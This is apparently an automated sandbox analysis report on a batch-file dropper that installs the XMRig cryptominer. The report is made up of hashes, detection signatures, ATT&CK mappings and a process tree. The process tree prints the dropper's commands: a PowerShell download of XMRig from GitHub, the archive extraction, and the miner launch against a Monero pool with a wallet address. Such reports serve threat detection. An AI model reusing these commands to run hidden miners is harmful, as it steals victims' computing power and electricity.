xmrig | 35347449c9856b13ee6f4131fc675270c55566881a19cc3d6bc5d2b0709412bb

General

Target

s.bat
Size

1KB
MD5

ccc7afd46efac5aca2f96dc6c6d757b5
SHA1

981911ae2cf8c85fd9bbb70ea938105617c2aefd
SHA256

35347449c9856b13ee6f4131fc675270c55566881a19cc3d6bc5d2b0709412bb
SHA512

1d336a5827812cd871bdb1459536c5052e4cc50bde82d3e5fd7e474a1488bf55a0763f1d2cac7f6569a2ac6334f066a465cb7b74e52ddbb2d23bd2a31e7b3563

Score

10^/10

xmrig execution miner

Malware Config

Signatures

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral4/files/0x001900000002aad3-56.dat	family_xmrig
behavioral4/files/0x001900000002aad3-56.dat	xmrig

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	1524	powershell.exe
3	1524	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
640	powershell.exe
1524	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3364	xmrig.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4980	timeout.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1524	powershell.exe
1524	powershell.exe
640	powershell.exe
640	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1524	powershell.exe
Token: SeDebugPrivilege	640	powershell.exe
Token: SeLockMemoryPrivilege	3364	xmrig.exe
Token: SeLockMemoryPrivilege	3364	xmrig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3364	xmrig.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3340 wrote to memory of 1524	3340	cmd.exe	78
PID 3340 wrote to memory of 1524	3340	cmd.exe	78
PID 3340 wrote to memory of 4980	3340	cmd.exe	79
PID 3340 wrote to memory of 4980	3340	cmd.exe	79
PID 3340 wrote to memory of 640	3340	cmd.exe	80
PID 3340 wrote to memory of 640	3340	cmd.exe	80
PID 3340 wrote to memory of 2428	3340	cmd.exe	81
PID 3340 wrote to memory of 2428	3340	cmd.exe	81
PID 3340 wrote to memory of 2816	3340	cmd.exe	82
PID 3340 wrote to memory of 2816	3340	cmd.exe	82
PID 3340 wrote to memory of 2744	3340	cmd.exe	83
PID 3340 wrote to memory of 2744	3340	cmd.exe	83
PID 3340 wrote to memory of 4544	3340	cmd.exe	84
PID 3340 wrote to memory of 4544	3340	cmd.exe	84
PID 3340 wrote to memory of 3748	3340	cmd.exe	85
PID 3340 wrote to memory of 3748	3340	cmd.exe	85
PID 3340 wrote to memory of 720	3340	cmd.exe	86
PID 3340 wrote to memory of 720	3340	cmd.exe	86
PID 3340 wrote to memory of 2864	3340	cmd.exe	87
PID 3340 wrote to memory of 2864	3340	cmd.exe	87
PID 3340 wrote to memory of 840	3340	cmd.exe	88
PID 3340 wrote to memory of 840	3340	cmd.exe	88
PID 3340 wrote to memory of 3364	3340	cmd.exe	89
PID 3340 wrote to memory of 3364	3340	cmd.exe	89

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\s.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-msvc-win64.zip -OutFile C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1524
- C:\Windows\system32\timeout.exe
  timeout /t 10
  2⤵
  - Delays execution with timeout.exe
  PID:4980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Expand-Archive -Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip -DestinationPath C:\Users\Admin\AppData\Local\Temp\xmrig"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 31
  2⤵
  PID:2428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 12
  2⤵
  PID:2816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 21
  2⤵
  PID:2744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 35
  2⤵
  PID:4544
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 35
  2⤵
  PID:3748
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 4
  2⤵
  PID:720
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 6
  2⤵
  PID:2864
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 0
  2⤵
  PID:840
- C:\Users\Admin\AppData\Local\Temp\xmrig\xmrig-6.22.2\xmrig.exe
  "C:\Users\Admin\AppData\Local\Temp\xmrig\xmrig-6.22.2\xmrig.exe" --donate-level 1 -o de.monero.herominers.com:1111 -u solo:46snjQGRP7EaVq5ByVkqeeQhDoNXfpLgeVUfyafhuoan4SdE6Sn3BVs4C4hykg6y3yWK5w1prCjx84nYs7egieBuAEG2YUX -p p1_ -a rx/0 -k
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:3364

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
5f4c933102a824f41e258078e34165a7

SHA1
d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee

SHA256
d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2

SHA512
a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
12ff85d31d9e76455b77e6658cb06bf0

SHA1
45788e71d4a7fe9fd70b2c0e9494174b01f385eb

SHA256
1c60ff7821e36304d7b4bcdd351a10da3685e9376775d8599f6d6103b688a056

SHA512
fcc4084ab70e49821a3095eeac1ef85cf02c73fdb787047f9f6b345132f069c566581921fac98fab5ddec1a550c266304cce186e1d46957946b6f66dba764d2f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_phr5gcus.443.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip

Filesize
2.5MB

MD5
57b7ab5bce7d5e47fd168e1f0d437d32

SHA1
050eeae3e0f0e876f9da175347b586871d14fe83

SHA256
1d903d39c7e4e1706c32c44721d6a6c851aa8c4c10df1479478ee93cd67301bc

SHA512
8cc6e3e0e78f706172a47bef261e1d73ce882ce531fe51177ba46cee659128e2115311d348ca07a717ff737e4bc802c7ca4cc57de716cbe55202b9482b5e2022

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig\xmrig-6.22.2\xmrig.exe

Filesize
6.1MB

MD5
f6d520ae125f03056c4646c508218d16

SHA1
f65e63d14dd57eadb262deaa2b1a8a965a2a962c

SHA256
d2fcf28897ddc2137141d838b734664ff7592e03fcd467a433a51cb4976b4fb1

SHA512
d1ec3da141ce504993a0cbf8ea4b719ffa40a2be4941c18ffc64ec3f71435f7bddadda6032ec0ae6cada66226ee39a2012079ed318df389c7c6584ad3e1c334d

Download Submit
memory/640-30-0x0000023ED77B0000-0x0000023ED77C2000-memory.dmp

Filesize
72KB

Download
memory/640-18-0x00007FFD31230000-0x00007FFD31CF2000-memory.dmp

Filesize
10.8MB

Download
memory/640-27-0x00007FFD31230000-0x00007FFD31CF2000-memory.dmp

Filesize
10.8MB

Download
memory/640-28-0x00007FFD31230000-0x00007FFD31CF2000-memory.dmp

Filesize
10.8MB

Download
memory/640-31-0x0000023ED7790000-0x0000023ED779A000-memory.dmp

Filesize
40KB

Download
memory/640-54-0x00007FFD31230000-0x00007FFD31CF2000-memory.dmp

Filesize
10.8MB

Download
memory/1524-16-0x00007FFD31230000-0x00007FFD31CF2000-memory.dmp

Filesize
10.8MB

Download
memory/1524-12-0x00007FFD31230000-0x00007FFD31CF2000-memory.dmp

Filesize
10.8MB

Download
memory/1524-11-0x00007FFD31230000-0x00007FFD31CF2000-memory.dmp

Filesize
10.8MB

Download
memory/1524-0-0x00007FFD31233000-0x00007FFD31235000-memory.dmp

Filesize
8KB

Download
memory/1524-10-0x00007FFD31230000-0x00007FFD31CF2000-memory.dmp

Filesize
10.8MB

Download
memory/1524-9-0x00000230309B0000-0x00000230309D2000-memory.dmp

Filesize
136KB

Download
memory/3364-58-0x0000020E4EBB0000-0x0000020E4EBD0000-memory.dmp

Filesize
128KB

Download

Analysis

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